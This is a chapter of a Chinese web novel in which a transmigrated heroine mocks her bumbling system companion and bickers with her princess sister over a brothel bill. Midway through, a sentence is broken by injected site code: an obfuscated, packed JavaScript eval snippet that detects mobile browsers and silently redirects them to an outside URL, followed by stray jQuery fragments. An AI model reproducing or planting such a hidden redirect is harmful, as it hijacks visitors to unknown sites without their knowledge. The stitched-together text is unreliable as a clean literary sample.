见无论如何撒娇打滚装疯卖傻,李听水都不为所动后,5437也是死心了。
它耷着眉,趴在李听水肩上,整个统看起来恹恹的。
思来想去还是舍不得那两千积分,颇为痛心的问:“老大,那鹤拂雪看着对你一往情深的样子,说不定不用给他下毒,他也会为你心甘情愿的办事呢。”
李听水闻言嗤笑了一声,懒得搭理它。
5437这蠢货却以为李听水不理它是赞同了它的意思,反而兴奋起来了:“老大,你也觉得我说的对吧?那鹤拂雪看着一副精明的样子,其实可单纯了!”
“你不知道,在你把他身契烧了的时候他看向你的眼神,可亮了!”
“我猜他一定是对你情根深种,爱你爱的不行了!”
李听水简直被5437给逗乐了。她抱起5437,仔细地观察着它。有意思,李听水觉得5437简直太有意思了。
她浸淫游戏这么多年,蠢出升天的系统她并不是没见过,但蠢成5437这样的着实是少见。
蠢得令人发笑,蠢得坦然,蠢得理直气壮,蠢得让人释怀。
它都能说出这样的话了,你还和它计较什么呢?
李听水道:“5437,你左右摇头的时候会被自己的猪耳扇到脸吗?”
5437愣愣的,它摇了下自己的脑袋,然后道:“老大,扇不到诶。还有我现在是猫耳哦。”
李听水:“...”
是她错了,她不该这么说的,她虔诚的向这世界上所有猪道歉,因为猪都比这家伙聪明。
看在5437让她开了眼的份上,李听水决定大发慈悲的为它解惑:“5437,谢谢你让我见识到了物种多样性,作为报答,我就告诉你我为什么要给鹤拂雪下毒好了。”
李听水道:“被生计所困卖身窑子的人或许可怜,但能从一个一无所有的乞丐爬到南风馆头牌位置的人,绝对不可能无辜。”
“你以为南风馆是个什么地方?桃花源?无争地?”
李听水轻笑了一声:“那是出了名的是非地,销金窟。”
她又看向5437,问道:“你知道每年被打死了从那地方抬出来的人有多少吗?”
5437问:“多少?”
李听水道:“少则几十,多则上百。”
5437大惊:“所以你早就知道鹤拂雪不简单?你在房里说的那些话都是骗他?你为什么要这么做?”
李听水反问:“我为什么不能这么做?”
5437义正言辞:“欺骗人的感情是不对的!他对你是真心的,我看得出来!”
李听水奇了:“你是说一个恩客比我手底下门生还多的头牌会被我玩弄感情吗?”
5437梗着脖子:“烂人也有真心!”
李听水:“我还屎里淘金呢。”
被5437这么一闹,李听水也没心思逛街了,她随手在街头打包了份馄饨,打算带回去给李溪亭尝尝。
李溪亭这丫头爱吃爱喝爱美人,总之是个生来就会享福的主,山珍海味她喜欢,路边家常小菜她也能吃的津津有味。
幼时皇后管她管的严,为了满足这家伙的口欲,李听水没少偷溜宫去给她买。
为此挨了皇后不少罚,李溪亭那家伙也是个没良心的,看见李听水受伤的时候就哭得眼泪汪汪,说她再也不吃了,你别给我买了。待到下次嘴馋了呢,就又眼巴巴的望着李听水,做出一副可怜兮兮的模样求她出去买。
李听水拿她没办法,每次都只能硬着头皮上,后来长大了些,李听水身手也好了,每次偷溜的神不知鬼不觉,倒也没再被人发现过。
这破习惯一直延续到了李溪亭成府。虽然李听水知道李溪亭现在不再被皇后管着了,想干什么就干什么,自由的很,却还是会下意识地给她带点吃的回来。
李溪亭隔老远就看见李听水了,肩上趴着个猫,手里不知道提的什么东西,走路慢腾腾的。她有些等不及,示意候在一旁的管家催李听水走快点。
李听水正忙着和5437拌嘴呢,就听到管家那尖锐的声音,她下意识漏出个笑,抬头望去,就见一片朦胧月色下李溪亭正气鼓鼓地瞪着她。
夜色已深,公主府早就挂起了灯笼,红彤彤的灯笼发出暖黄的光,一大帮子人就这么在门前候着,李溪亭穿了件红色织金的袄子,披着件白毛大氅,手里还抱着个汤婆子,站在人群中,像个软乎乎的柿子大福。
李听水怔愣了一下,只觉得恍如隔世,这般热闹的场景,她已经许久未曾见过了。
李听水三步并作两步的走到李溪亭面前,把手里的馄饨递给她,李溪亭接了馄饨,但却不肯和李听水说话。
李听水就熟练的上前逗她:“大半夜的带这么多人来门口等我,拿了我的馄饨却又不说话,长公主,你这样是不行的哦。”
李溪亭一把拍开她的手,用手狠狠地戳着她的肩膀:“你也知道这是大半夜啊?还有,你每天到底在哪鬼混?这才月初就又花了我一万两银子!”
李听水被她戳的连连后退:“这南风馆的人办事这么迅速吗?我前脚走人,后脚就来公主府催账了?这南风馆格局也忒小了,我日后再也不去了!”
李溪亭本就在气头上,得知她去了南风馆,更是火上加油,她大声质问着:“南风馆?!我就说管家来找我报账的时候怎么支支吾吾的?原来是你这家伙竟然背着我去南风馆?!”
吃她的用她的住她的也就算了,背着她去泡男人,竟然还用的是她的钱!
她要打死李听水这个不要脸的!
李溪亭向前几步,做出一副恶狠狠的样子:“好你个李听水,我拿你当姐妹,有我一口吃的就有你一口喝的,不求你对我掏心掏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129670|196207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肺,但我没想到,你竟然连背着姐妹去南风馆享福这种事都做出来了,你简直没良心!”
李听水一听这话就不乐意了,她猛地站直身子,大声反驳道:“李溪亭,你瞎说什么呢?我是什么人,你难道还不了解吗?我是干得出那种事情的人吗?”
李溪亭拿出账单,狠狠拍在李听水身上:“你干不出?今个要不是人南风馆把账单送到我这来了,你这家伙,不知道还要背着我偷偷去几次!”
李听水一把扯过账单塞进自己的兜里,做出一副被误会而痛心至极的模样:“在你眼里,我李听水就是这种人?李溪亭!你以为这一万两是给谁花的?是给你花的!”
李溪亭道:“给我花的?”
李听水捶胸顿足:“不是你还能是为了谁!”
李溪亭眨巴眨巴眼睛:“李听水,区区一万两而已,你好生给我道个歉这事也就过去了,但你若是再要这般胡搅蛮缠说是为了我好,我就真的要生气了。”
5437:不儿,感情你之前都是在演啊?
李听水道:“虽然你这般不信任我,但我却不能像你对我这般如此对待你,实话告诉你吧,我在南风馆,给你准备了个惊喜,本想是等到明日再告知于你…”
“却没想到你是这般咄咄逼人,无理取闹,简直是让人心寒!”
李听水又拿出块帕子擦泪:“罢了罢了,谁叫你是李溪亭呢?纵使你这般对我,我也是不忍让你难过的!”
“明日午时,你且在正厅候着吧!”
“定不会叫你失望!”
说完便狠狠转身走人了。
徒留李溪亭愣在原地,她指着自己,看向站在一旁的管家:“我咄咄逼人?我无理取闹吗?”
那管家哪敢说什么,只低声回了句:“或许郡主真的给您准备了惊喜呢?”
李溪亭嗤笑:“就算准备了又如何,还不是花的我的钱!”
管家道:“那日后便不让郡主挂账了?”
李溪亭狠狠瞪了他一眼:“你说什么呢,她身上一分钱没有你又不是不知道,真不让她挂账,万一她在外面饿死咋办?”
管家想了想李听水那油嘴滑舌的样子,饿死李听水吗?饿死谁也饿不死她啊。
想是这么想,但管家是万万不敢将这话说出口的,他只能顺着毛捋:“是小的多嘴了。要不公主,咱先把这馄饨吃了?夜晚风凉,再不吃就冷了。”
李溪亭哼了一声:“看在这馄饨的份上,今天的事我就不和她计较了。我倒要看看明天她给我准备了什么惊喜,要是让我不满意,我定要将她千刀万剐!”
管家木着张脸:还千刀万剐呢?连罚李听水一天不准吃饭都舍不得的家伙,就算真的不满意又怎么样,还不是李听水花言巧语两句就又美滋滋的和好了。
管家咬着牙暗暗想:“他真是多余操心这两人的事!”